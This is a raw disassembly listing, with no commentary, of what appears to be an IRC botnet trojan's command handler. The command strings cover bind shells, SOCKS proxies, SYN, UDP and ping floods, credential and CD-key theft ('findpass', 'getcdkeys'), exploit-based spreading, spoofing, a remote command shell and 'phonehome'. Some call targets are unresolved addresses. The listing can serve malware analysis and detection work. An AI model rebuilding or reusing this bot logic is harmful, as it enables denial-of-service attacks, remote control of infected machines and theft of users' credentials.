offset asc_42CA2C ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA2C ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C66C loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C644 jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C628 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C60C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C5F8 push offset dword_42C5EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C5CC push offset dword_42C5BC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5A4 push offset dword_42C598 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C584 push offset dword_42C578 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C55C push offset dword_42C54C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C530 push offset dword_42C520 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C508 push offset dword_42C4FC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5A4 push offset dword_42C598 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C584 push offset dword_42C578 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C4E4 push offset dword_42C4D8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C4CC push offset dword_42C4C0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C530 push offset dword_42C520 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C508 push offset dword_42C4FC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C490 push offset dword_42C480 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C55C push offset dword_42C54C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C44C push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C490 push offset dword_42C480 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C4E4 push offset dword_42C4D8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C4CC push offset dword_42C4C0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C404 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3B4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C390 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C370 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2AC jnz short loc_403191 mov eax, offset unk_42C284 loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1C4 push offset dword_42C1B8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1B4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1A0 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C16C call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C138 push eax mov dword_4CE728, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C090 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C020 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 26705B3h jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 2680000h push eax push offset unk_42BFE4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_4315EA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4315EA jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431408 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB000 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D128 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 26705B3h jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j nop call near ptr 2680000h push eax lea eax, [ebp+var_2C4] push offset unk_42BEE8 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEB0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BE90 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx nop call near ptr 2660000h loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 26705B3h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej call near ptr 2680000h nop push eax push offset unk_42BE20 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call sub_41B779 test eax, eax pop ecx jz short loc_403C43 